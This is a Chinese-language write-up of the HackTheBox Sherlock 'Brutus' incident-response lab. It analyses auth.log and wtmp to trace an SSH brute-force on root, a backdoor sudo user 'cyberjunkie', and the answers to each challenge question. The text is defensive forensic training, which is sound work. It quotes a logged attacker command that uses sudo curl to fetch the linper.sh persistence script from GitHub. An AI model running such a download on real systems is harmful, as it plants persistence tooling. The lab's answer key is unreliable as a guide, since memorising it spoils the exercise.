这次做一个应急响应Brutus,是来自HTB的Brutus靶场,应该是能够很好的帮助我们理解auth.log和wtmp两个日志

附件如下:

Brutus.zip

解压密码:hacktheblue

sha256:dd7742375a19b6ccc4323058224460a5220c43d4e9f7565b653bd369b8c46b2d

操作场景:

在这个简单的 Sherlock 案例中,你将熟悉 Unix 系统中的 auth.log 和 wtmp 日志。我们将探讨一个场景:一台 Confluence 服务器通过其 SSH 服务遭到暴力破解攻击。攻击者在成功获取服务器访问权限后,进行了一系列其他操作,这些活动我们可以通过分析 auth.log 日志进行追踪。尽管 auth.log 主要用于分析暴力破解行为,但在本次调查中,我们将深入挖掘这一日志文件的全部潜力,包括提权、持久化驻留,甚至部分命令执行过程的可见性。

知识点:

学到的技能

  • Unix日志分析

  • wtmp分析

  • 暴力破解活动分析

  • 时间线创建

  • 上下文分析

  • 后渗透分析

标签

  • Linux取证

  • 数字取证与事件响应(DFIR)

初步分析:

我们获得了两个证据文件:Linux认证(auth)日志和WTMP输出。首先简要说明这些日志文件是什么,它们的用途以及所包含的字段和信息。

auth.log

auth.log 文件主要用于跟踪认证机制。每当用户尝试登录、切换用户或执行任何需要认证的操作时,都会在此日志文件中记录一条条目。这包括涉及 sshd(SSH 守护进程)、sudo 操作以及需要认证的 cron 任务等活动。

auth.log 中的字段

auth.log 中的条目通常包含以下字段:

日期和时间:事件发生的时间戳。

主机名:发生事件的系统的名称。

服务:报告事件的守护进程或服务名称,例如 SSH 守护进程。

PID:事件记录时该服务的进程 ID(PID)。

用户:参与认证过程的用户名。

认证状态:详细说明认证尝试是成功还是失败。

IP 地址/主机名:对于远程连接,指尝试连接的客户端的 IP 地址或主机名。

消息:有关事件的详细信息,包括与认证尝试相关的特定错误消息或代码。

下面展示了一个示例条目:

Mar 10 10:23:45 exampleserver sshd[19360]: Failed password for invalid user admin from 192.168.1.101 port 22 ssh2

上述条目显示,在主机 exampleserver 上,有一个针对用户名为“admin”的无效用户的密码登录失败尝试,来源 IP 地址为 192.168.1.101,通过端口 22(SSH)进行。

wtmp

wtmp 文件记录了系统上所有的登录和注销事件。它是一个二进制文件,通常位于 /var/log/wtmp。可以使用 last 命令读取该文件,从而查看用户登录、注销、系统重启以及运行级别变更的历史记录。

wtmp 中的字段

由于 wtmp 是一个二进制文件,因此无法像 auth.log 那样直接阅读。但通过 last 等工具查看时,会显示以下信息:

用户名:正在登录或注销的用户的名称。

终端:终端或 tty 设备名称。远程登录通常显示 SSH 或 telnet 连接详情。

IP 地址/主机名:对于远程登录,显示用户设备的 IP 地址或主机名。

登录时间:用户登录的日期和时间。

注销时间:用户注销或会话结束的日期和时间。

持续时间:会话的持续时间。

以下是 'last' 命令输出的一个示例:

sebh24    pts/0        192.168.1.100   Sat Mar 10 10:23 - 10:25  (00:02)

这表示用户 sebh24 从 192.168.1.100 登录,会话总共持续了 2 分钟。

需要注意的是,当取证人员系统的 CPU 架构与 wtmp 文件来源系统的架构不同时,使用 last 或 utmpdump 等内置工具可能会出现问题。因此,我们提供了一个名为 utmp.py 的工具(原始来源自 https://gist.github.com/4n6ist/99241df331bb06f393be935f82f036a5)以协助调查。

使用该工具的步骤如下:

python3 utmp.py -o wtmp.out wtmp

这将生成一个可读的文本文件 wtmp.out,可用 cat 或 less 查看。

理解 utmp.py 的输出

utmp.py 的输出包含从 wtmp 文件的二进制格式中解码出的多个字段。以下是输出中关键字段的简要说明:

类型(Type):表示记录的类型,例如用户登录或注销、系统启动或关机事件。

PID:与事件相关的进程 ID。

Line:用户登录所使用的终端线路(tty 或 pts)。

ID:与 Line 字段相关的一个短标识符。

User:与事件关联的用户名。

Host:用户访问系统时的主机名或 IP 地址(如适用)。

Exit:会话或进程的退出状态。

Session:会话 ID。

sec:事件的时间戳。注意:此时间戳将使用你本地系统的时区显示,而非 wtmp 文件来源系统的时区。在分析事件时间线时需对此进行调整。

usec:与登录或注销事件相关的时间戳的微秒部分。

Addr:附加的地址信息,在远程登录情况下可能是 IP 地址。

auth.log 和 WTMP 对于系统管理员和安全专业人员来说都至关重要,可用于监控和审计认证尝试、用户活动以及系统访问模式。它们有助于识别未授权的访问尝试,确保符合安全策略,并协助调查安全事件。

现在我们对所提供的取证文件有了更深入的理解,接下来开始深入分析 auth.log。我们在自己喜爱的文本编辑器中打开 auth.log,并准备回答相关问题。

题目:

1.分析auth.log。攻击者使用哪个IP地址进行暴力攻击?

要在 auth.log 中发现暴力破解攻击,需查找短时间内多次重复出现的“Invalid user”和“Failed password”条目。这些条目表示登录失败的尝试,通常使用了错误的用户名或密码。

在提供的日志中,来自单一IP地址65.2.161.68的多次尝试表明存在暴力破解攻击。特别需要注意的是这些时间戳,它们全部集中在几秒之内。在排查暴力破解攻击时,一个很好的经验法则是思考:“人类是否可能手动如此频繁地进行认证尝试”。如果答案是否定的,则建议进一步调查。

答案为:65.2.161.68

2.暴力破解成功,攻击者成功获取了服务器上一个账户的访问权限。该账户的用户名是什么?

我们已经确认了执行暴力破解攻击的 IP 地址,但需要了解威胁行为者(TA)是否成功。暴力破解攻击成功后,“Accepted password” 这一关键词表示登录成功。

在上面的图片中,我们可以确认 root 账户的成功认证是同一暴力破解攻击的一部分,这表明他们已经攻破了系统上权限最高的用户。在同一秒,我们还看到会话被关闭,这进一步表明使用了暴力破解工具。

暴力破解工具是一种软件程序或脚本,旨在系统地尝试所有可能的字符或值组合以找到正确的解决方案,通常用于密码破解或加密领域。暴力破解是一种穷举方法,会尝试所有可能的选项,直到找到正确的为止。

以下是一些用于认证的暴力破解工具示例:
九头蛇(Hydra)
美杜莎(Medusa)
布鲁图斯(Brutus)
答案为:root

3.确定攻击者手动登录服务器并建立终端会话以执行其目标时的 UTC 时间戳。登录时间与身份验证时间不同,可以在 wtmp 文件中查找。

攻击者最初使用自动化工具进行暴力破解攻击。然而,在获取到正确的凭据后,他们手动进行了认证。我们可以在如下详细说明的 auth.log 文件中确认这一点:

我们确认威胁行为者于 06:32:44 使用 root 账户进行了认证,但在本次特定分析中,我们将使用 WTMP artifact,因为它能为我们提供攻击者连接交互式终端的时间,而不仅仅是密码被接受的时间。在继续之前,请查看以下关于 WTMP 和 auth.log artifact 之间时间差异的简要说明。

auth.log

在登录主机的情况下,auth.log 专门记录认证事件。

WTMP

WTMP 中的条目记录终端的创建和销毁,或终端向用户的分配和释放。
在此情况下,我们能够在 WTMP 中准确追踪威胁行为者创建的交互式会话。

查看 wtmp 的输出,我们能够确认威胁行为者于 06:32:45 成功打开了一个交互式终端会话。

如上所述,此时间戳将使用我们的系统时区显示。我们可以通过运行 date 命令来检查这一点:

由于我们的系统时区是 UTC,因此无需调整,并可以确认这就是我们的答案。

答案为:2024-03-06 06:32:45

4.SSH 登录会话会被跟踪,并在登录时分配一个会话号。问题 2 中分配给攻击者用户帐户会话的会话号是多少?

每个 SSH 登录会话都会被分配一个唯一的会话编号用于追踪,该编号可以在 auth.log 文件中查看,并且可以通过查看会话打开日志行紧随其后的日志行找到。

这个题不知道是不是我的理解问题,他问的是爆破出来的用户名还是说是第一次手动登录的用户名

如果是爆破出来的用户名的会话号那应该是34,但是当然可能说是攻击者登陆的会话号,爆破的会话号可能不算吧,如下图所示

如果是说是第一次手动登录的用户名那应该是说的是37,如下图所示

根据认证日志,分配给攻击者登录(使用被攻破的 root 账户)的会话编号是 37。

反正说答案是37了

5.攻击者在服务器上添加了一个新用户作为其持久化策略的一部分,并赋予此新用户帐户更高的权限。这个帐户的名称是什么?

攻击者通常会创建新用户账户以保持持久访问。在此情境下,“持久访问” 指的是攻击者在已获得初始访问权限后,仍能在较长时间内维持对被攻破系统或网络的访问或控制能力。本质上,这是为了确保能持续未授权访问目标环境。

添加新用户是维持持久访问的有效方法,且无需引入任何额外工具,本质上是 “就地取材”。在 auth.log 中,可查找以下关键词:
useradd - 表示已向系统添加用户。
usermod - 表示修改用户权限或所属组。
groupadd - 表示创建了新用户组。

日志显示创建了一个名为cyberjunkie的新用户,该用户随后被添加到sudo组以获得提升的权限。在Linux系统上,sudo组是一个特殊组,赋予用户以管理员权限(也称为超级用户或root权限)运行命令的能力。“sudo”一词代表“超级用户执行”。 默认情况下,Linux系统的设计将普通用户账户与全能的管理员账户(称为root账户)分开。root账户对整个系统拥有不受限制的访问权,包括修改系统文件、安装软件和执行其他关键操作的能力。然而,通常认为以root用户身份执行日常任务存在风险,因为错误或恶意操作可能会造成严重后果。 sudo命令允许授权用户暂时以root用户身份执行特定命令。这些用户通常是sudo组的成员。通过使用sudo,管理员可以在维护整体系统安全性的同时,将特定权限委派给普通用户。属于sudo组的用户被称为sudo用户。 要授予用户sudo权限,管理员需要将该用户添加到sudo组。这可以通过修改系统的用户管理配置文件或使用带有适当选项的usermod命令来完成。 一旦用户被添加到sudo组,他们就可以通过在命令前加上sudo来执行具有提升权限的命令。

答案为:cyberjunkie

6.通过创建新帐户用于持久化的 MITRE ATT&CK 子技术 ID 是什么?

我们了解到,创建新用户账户是实现持久化的一种方法,且该账户是受 compromise 主机上的本地账户。我们现在需要利用MITRE ATT&CK框架将其转化为一个技术ID。MITRE ATT&CK框架对攻击者使用的各种战术和技术进行了分类。我们可以利用企业矩阵,在“持久化(Persistence)”类别下找到“创建账户(Create Account)”技术,其详细信息如下,技术ID为T1136。

让我们深入研究这一技术,查看其子技术。子技术使我们能够更细致地剖析攻击。例如,可能创建的账户有多种类型,在下方截图中我们可以看到有域账户、本地账户和云账户。在当前调查中,我们已知涉及的是本地账户,因此对应的子技术是T1136.001。

答案为:T1136.001

7.根据 auth.log,攻击者的第一次 SSH 会话在什么时间结束?

在问题 4 中,我们发现会话 ID 为 37。我们可以在 auth.log 中确认,会话 37 于 06:37:24 关闭。


可能不知道为啥是2024,这个在warm的分析中有提到过可以使用

python3 utmp.py -o wtmp.out wtmp

答案为:2024-03-06 06:37:24

8.攻击者登录了他们的后门账户,并利用其更高的权限下载了脚本。使用 sudo 执行的完整命令是什么?

尽管auth.log并非主要用于跟踪命令执行,但使用sudo运行的命令会被记录,因为它们需要进行身份验证。

Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

日志显示,攻击者使用sudo执行了一条命令,从GitHub仓库下载了一个脚本。完整命令为:/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh。此操作表明,攻击者意图部署额外工具或恶意软件,以进行进一步的利用或维持持久访问。
答案为:/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh